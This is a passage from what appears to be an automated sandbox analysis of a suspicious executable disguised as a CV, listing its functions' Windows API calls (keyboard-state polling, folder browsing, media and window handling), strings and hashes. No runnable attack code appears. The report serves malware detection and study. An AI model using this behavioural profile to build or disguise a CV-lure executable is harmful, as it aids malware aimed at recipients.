                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: HandleLoadMessageModuleString__swprintf_wprintf
                                                                  • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                                                  • API String ID: 1080873982-4153970271
                                                                  • Opcode ID: 934d664b43f1366d412d26fd091d079c7f8642e224a5b8ad2fe2aac03923dd66
                                                                  • Instruction ID: fb24d21277ba967bfbd26c0a5e1803063820301c80b07d54268a768220f9a7b6
                                                                  • Opcode Fuzzy Hash: 934d664b43f1366d412d26fd091d079c7f8642e224a5b8ad2fe2aac03923dd66
                                                                  • Instruction Fuzzy Hash: 37217E71C0022ABFDF11AF90DC4AEEE7BB8FF18304F000895F505660A2EA71AA24DB51
                                                                  Function 00B67AD9 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00B67B42
                                                                  • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00B67B58
                                                                  • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00B67B69
                                                                  • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00B67B7B
                                                                  • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00B67B8C
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: SendString
                                                                  • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                                                  • API String ID: 890592661-1007645807
                                                                  • Opcode ID: 30088f40993ec7d9e1d6b32a19aca470e4877a866d4724e6da7555fd56642a9c
                                                                  • Instruction ID: 9ab56220cbe9631f71fa84e0db8b73fd2c31f11c2889d3769836bf5311d7e21d
                                                                  • Opcode Fuzzy Hash: 30088f40993ec7d9e1d6b32a19aca470e4877a866d4724e6da7555fd56642a9c
                                                                  • Instruction Fuzzy Hash: 9B11B2B068026979D720A761DC5ADFFBBFCEB95F00F0005AA7415A31E2EE700E44C5B1
                                                                  Function 00B702EE Relevance: 18.3, APIs: 12, Instructions: 282comCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B2936C: __swprintf.LIBCMT ref: 00B293AB
                                                                    • Part of subcall function 00B2936C: __itow.LIBCMT ref: 00B293DF
                                                                  • CoInitialize.OLE32(00000000), ref: 00B7034B
                                                                  • SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00B703DE
                                                                  • SHGetDesktopFolder.SHELL32(?), ref: 00B703F2
                                                                  • CoCreateInstance.OLE32(00BADA8C,00000000,00000001,00BD3CF8,?), ref: 00B7043E
                                                                  • SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00B704AD
                                                                  • CoTaskMemFree.OLE32(?,?), ref: 00B70505
                                                                  • _memset.LIBCMT ref: 00B70542
                                                                  • SHBrowseForFolderW.SHELL32(?), ref: 00B7057E
                                                                  • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00B705A1
                                                                  • CoTaskMemFree.OLE32(00000000), ref: 00B705A8
                                                                  • CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 00B705DF
                                                                  • CoUninitialize.OLE32(00000001,00000000), ref: 00B705E1
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
                                                                  • String ID:
                                                                  • API String ID: 1246142700-0
                                                                  • Opcode ID: 8039651a467a5ca2c0d3b3e16ff762c3f1c506b55b74a64e0a0e97a0120ea785
                                                                  • Instruction ID: 50b249e81b315eac24b76db26d3b518283110a901b78b6af1dfe113ce9c7f5cc
                                                                  • Opcode Fuzzy Hash: 8039651a467a5ca2c0d3b3e16ff762c3f1c506b55b74a64e0a0e97a0120ea785
                                                                  • Instruction Fuzzy Hash: 2DB1EB75A00118EFDB04DFA4D889DAEBBF9FF48304B1484A9E81AEB251DB34ED41CB50
                                                                  Function 00B62E5B Relevance: 18.2, APIs: 12, Instructions: 185keyboardCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetKeyboardState.USER32(?), ref: 00B62ED6
                                                                  • SetKeyboardState.USER32(?), ref: 00B62F41
                                                                  • GetAsyncKeyState.USER32(000000A0), ref: 00B62F61
                                                                  • GetKeyState.USER32(000000A0), ref: 00B62F78
                                                                  • GetAsyncKeyState.USER32(000000A1), ref: 00B62FA7
                                                                  • GetKeyState.USER32(000000A1), ref: 00B62FB8
                                                                  • GetAsyncKeyState.USER32(00000011), ref: 00B62FE4
                                                                  • GetKeyState.USER32(00000011), ref: 00B62FF2
                                                                  • GetAsyncKeyState.USER32(00000012), ref: 00B6301B
                                                                  • GetKeyState.USER32(00000012), ref: 00B63029
                                                                  • GetAsyncKeyState.USER32(0000005B), ref: 00B63052
                                                                  • GetKeyState.USER32(0000005B), ref: 00B63060
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: State$Async$Keyboard
                                                                  • String ID:
                                                                  • API String ID: 541375521-0
                                                                  • Opcode ID: 7d455a7b2bac1e11a16915b37b7d9a1c0c30decef1ecec4e66b18adf024eb6d6
                                                                  • Instruction ID: 5b18ecd24934c062981e470fffc191463c61c2b8488d37e65153044a853e2406
                                                                  • Opcode Fuzzy Hash: 7d455a7b2bac1e11a16915b37b7d9a1c0c30decef1ecec4e66b18adf024eb6d6
                                                                  • Instruction Fuzzy Hash: 0051E724A08B8429FB35DBA489117EABFF4DF12740F0845DDC5C2561C2DB5C9B8CCBA2
                                                                  Function 00B5ED02 Relevance: 18.2, APIs: 12, Instructions: 174COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetDlgItem.USER32(?,00000001), ref: 00B5ED1E
                                                                  • GetWindowRect.USER32(00000000,?), ref: 00B5ED30
                                                                  • MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00B5ED8E
                                                                  • GetDlgItem.USER32(?,00000002), ref: 00B5ED99
                                                                  • GetWindowRect.USER32(00000000,?), ref: 00B5EDAB
                                                                  • MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00B5EE01
                                                                  • GetDlgItem.USER32(?,000003E9), ref: 00B5EE0F
                                                                  • GetWindowRect.USER32(00000000,?), ref: 00B5EE20
                                                                  • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00B5EE63
                                                                  • GetDlgItem.USER32(?,000003EA), ref: 00B5EE71
                                                                  • MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00B5EE8E
                                                                  • InvalidateRect.USER32(?,00000000,00000001), ref: 00B5EE9B
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$ItemMoveRect$Invalidate
                                                                  • String ID:
                                                                  • API String ID: 3096461208-0
                                                                  • Opcode ID: 23b589b60dffde58d526819fc4361ed61ce5002e110093a20e86458f8f908ee9
                                                                  • Instruction ID: ae1e08936ad7b48d7e449d4e816cec11c4ac31d2157741e1e96a177ed6485c30
                                                                  • Opcode Fuzzy Hash: 23b589b60dffde58d526819fc4361ed61ce5002e110093a20e86458f8f908ee9
                                                                  • Instruction Fuzzy Hash: 76510171B00205AFDB18CF6DDD86AAEBBB5EB89701F148569F91AD7290DB70DE048B10
                                                                  Function 00B3B73E Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B3B9FF: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00B3B759,?,00000000,?,?,?,?,00B3B72B,00000000,?), ref: 00B3BA58
                                                                  • DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00B3B72B), ref: 00B3B7F6
                                                                  • KillTimer.USER32(00000000,?,00000000,?,?,?,?,00B3B72B,00000000,?,?,00B3B2EF,?,?), ref: 00B3B88D
                                                                  • DestroyAcceleratorTable.USER32(00000000), ref: 00B9D8A6
                                                                  • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00B3B72B,00000000,?,?,00B3B2EF,?,?), ref: 00B9D8D7
                                                                  • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00B3B72B,00000000,?,?,00B3B2EF,?,?), ref: 00B9D8EE
                                                                  • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00B3B72B,00000000,?,?,00B3B2EF,?,?), ref: 00B9D90A
                                                                  • DeleteObject.GDI32(00000000), ref: 00B9D91C
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
                                                                  • String ID:
                                                                  • API String ID: 641708696-0
                                                                  • Opcode ID: 341bac169c56a8f5b92e656202105fde11a796515a5429430c163a1539ce44df
                                                                  • Instruction ID: a2e005bba7dc3fe1b3db2d037ec5cbd6b223517ce8c8ddbd4362b0a7f56972c5
                                                                  • Opcode Fuzzy Hash: 341bac169c56a8f5b92e656202105fde11a796515a5429430c163a1539ce44df
                                                                  • Instruction Fuzzy Hash: 84617930501640DFDB259F19D9C9B65B7F5FB95312F3449ADE2868BA78CB30AC80CB80
                                                                  Function 00B3B40A Relevance: 18.1, APIs: 12, Instructions: 131COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B3B526: GetWindowLongW.USER32(?,000000EB), ref: 00B3B537
                                                                  • GetSysColor.USER32(0000000F), ref: 00B3B438
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ColorLongWindow
                                                                  • String ID:
                                                                  • API String ID: 259745315-0
                                                                  • Opcode ID: 7fc9995e916cc5fee12ec99321290c82c12ae22c65f0afe209a309d38cf518b1
                                                                  • Instruction ID: 0c036af75ba8c8fe7bf2c7b0ed2bf651d07bbb7fc3f0acf0c50571cc5ea15fb5
                                                                  • Opcode Fuzzy Hash: 7fc9995e916cc5fee12ec99321290c82c12ae22c65f0afe209a309d38cf518b1
                                                                  • Instruction Fuzzy Hash: 1141A330100544AFDF245F28D889FB93BA5EB06731F2442A5FE669F6EADB318C41D725
                                                                  Function 00B6690B Relevance: 18.1, APIs: 12, Instructions: 113COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
                                                                  • String ID:
                                                                  • API String ID: 136442275-0
                                                                  • Opcode ID: 11e3dcae1bf4f4861fcda9edaebb0d5d415cc8de71400f97956646c9cb7f0108
                                                                  • Instruction ID: 6c0c1dcb139da80f230e99028fed275ee4c512a0b23d23b5b0e39364a82c2d1c
                                                                  • Opcode Fuzzy Hash: 11e3dcae1bf4f4861fcda9edaebb0d5d415cc8de71400f97956646c9cb7f0108
                                                                  • Instruction Fuzzy Hash: 27412CB684511CAECF61EB94CC85DDE73FCEB44300F0041E6BA59A2051EA74ABE89F51
                                                                  Function 00B6D76A Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 180COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • CharLowerBuffW.USER32(00BBDC00,00BBDC00,00BBDC00), ref: 00B6D7CE
                                                                  • GetDriveTypeW.KERNEL32(?,00BD3A70,00000061), ref: 00B6D898
                                                                  • _wcscpy.LIBCMT ref: 00B6D8C2
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: BuffCharDriveLowerType_wcscpy
                                                                  • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                                                  • API String ID: 2820617543-1000479233
                                                                  • Opcode ID: 4d4139dba0476bef6612e719d00de687c23454740dbba744ef9c2f16fed17ac4
                                                                  • Instruction ID: 63464a6577784092d3b185577c7948ebe57eb4c066b398c1ffa839719f2328c5
                                                                  • Opcode Fuzzy Hash: 4d4139dba0476bef6612e719d00de687c23454740dbba744ef9c2f16fed17ac4
                                                                  • Instruction Fuzzy Hash: 7751A5316043049FC700EF14D892AAEB7E5EF94714F6089AEF59A572A2EB35DD05CB42
                                                                  Function 00B8B33A Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 167COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00B8B3F4
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: InvalidateRect
                                                                  • String ID: @U=u
                                                                  • API String ID: 634782764-2594219639
                                                                  • Opcode ID: b481ef5df6639255d0b2126bafe7fc065a66b2b7cf1255f58dc27dc95d16acf7
                                                                  • Instruction ID: db3291a68aac57fee4e2dcd5d7ae56cb6d4a143a612a2b1e5ba41bac39c23ff1
                                                                  • Opcode Fuzzy Hash: b481ef5df6639255d0b2126bafe7fc065a66b2b7cf1255f58dc27dc95d16acf7
                                                                  • Instruction Fuzzy Hash: 94517D31600204BAEF24AF38CC96FA93BE4EB05314F684196F615E66F2CB71E984CB55
                                                                  Function 00B3A699 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 163windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00B9DB1B
                                                                  • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00B9DB3C
                                                                  • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00B9DB51
                                                                  • ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00B9DB6E
                                                                  • SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00B9DB95
                                                                  • DestroyIcon.USER32(00000000,?,?,?,?,?,?,00B3A67C,00000000,00000000,00000000,000000FF,00000000,000000FF,000000FF), ref: 00B9DBA0
                                                                  • SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00B9DBBD
                                                                  • DestroyIcon.USER32(00000000,?,?,?,?,?,?,00B3A67C,00000000,00000000,00000000,000000FF,00000000,000000FF,000000FF), ref: 00B9DBC8
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Icon$DestroyExtractImageLoadMessageSend
                                                                  • String ID: @U=u
                                                                  • API String ID: 1268354404-2594219639
                                                                  • Opcode ID: 684e17e160753d1309f2b3c3c0946293b15016b7945ac24734b573ea9c81b939
                                                                  • Instruction ID: 6bd7643656101a915ae3157dca5b9a6dee808c7dd65166812a86cc39852516cf
                                                                  • Opcode Fuzzy Hash: 684e17e160753d1309f2b3c3c0946293b15016b7945ac24734b573ea9c81b939
                                                                  • Instruction Fuzzy Hash: 07515970600209EFDB24DF69CCC2FAA7BF9EB58754F200569F94697690DBB0AD80DB50
                                                                  Function 00B2936C Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 145COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • __swprintf.LIBCMT ref: 00B293AB
                                                                  • __itow.LIBCMT ref: 00B293DF
                                                                    • Part of subcall function 00B41557: _xtow@16.LIBCMT ref: 00B41578
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: __itow__swprintf_xtow@16
                                                                  • String ID: %.15g$0x%p$False$True
                                                                  • API String ID: 1502193981-2263619337
                                                                  • Opcode ID: dbd28c0f673c5a4c1dd406b9f252379fe525fd26ee3a862b55a9dfe132acd059
                                                                  • Instruction ID: 32562c97e6707a4221556c2835f03c03ac618225426f8e63aca7ab9401908bf2
                                                                  • Opcode Fuzzy Hash: dbd28c0f673c5a4c1dd406b9f252379fe525fd26ee3a862b55a9dfe132acd059
                                                                  • Instruction Fuzzy Hash: 3741C371904215EFDB24EB78E981E6A77F4EB48300F2048FAE14DD7292EA319A42DB15
                                                                  Function 00B5B907 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 81windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00B5B98C
                                                                  • GetDlgCtrlID.USER32 ref: 00B5B997
                                                                  • GetParent.USER32 ref: 00B5B9B3
                                                                  • SendMessageW.USER32(00000000,?,00000111,?), ref: 00B5B9B6
                                                                  • GetDlgCtrlID.USER32(?), ref: 00B5B9BF
                                                                  • GetParent.USER32(?), ref: 00B5B9DB
                                                                  • SendMessageW.USER32(00000000,?,?,00000111), ref: 00B5B9DE
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$CtrlParent
                                                                  • String ID: @U=u$ComboBox$ListBox
                                                                  • API String ID: 1383977212-2258501812
                                                                  • Opcode ID: 380d02a5e2a258900dbac5f16f43d04e17787e59921e1b2fced120172d6a3798
                                                                  • Instruction ID: 3c6857f2d79d5dd21c0908d06b946d95e2e4c5c95f43075a86d66e7b81ddef18
                                                                  • Opcode Fuzzy Hash: 380d02a5e2a258900dbac5f16f43d04e17787e59921e1b2fced120172d6a3798
                                                                  • Instruction Fuzzy Hash: 0021C874900108BFDB04ABA4DC86EFEBBF5EF5A301F100195FA56972E1DB745819DB20
                                                                  Function 00B5B9F0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 80windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00B5BA73
                                                                  • GetDlgCtrlID.USER32 ref: 00B5BA7E
                                                                  • GetParent.USER32 ref: 00B5BA9A
                                                                  • SendMessageW.USER32(00000000,?,00000111,?), ref: 00B5BA9D
                                                                  • GetDlgCtrlID.USER32(?), ref: 00B5BAA6
                                                                  • GetParent.USER32(?), ref: 00B5BAC2
                                                                  • SendMessageW.USER32(00000000,?,?,00000111), ref: 00B5BAC5
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$CtrlParent
                                                                  • String ID: @U=u$ComboBox$ListBox
                                                                  • API String ID: 1383977212-2258501812
                                                                  • Opcode ID: d4a351575de7914f4325a6926a8d51c27384788ce72145b7e4b58dac810097a3
                                                                  • Instruction ID: e77032234caed8a5bdc6882d1db4a287e1e16bd4c30a07cdd0db29da717e96c1
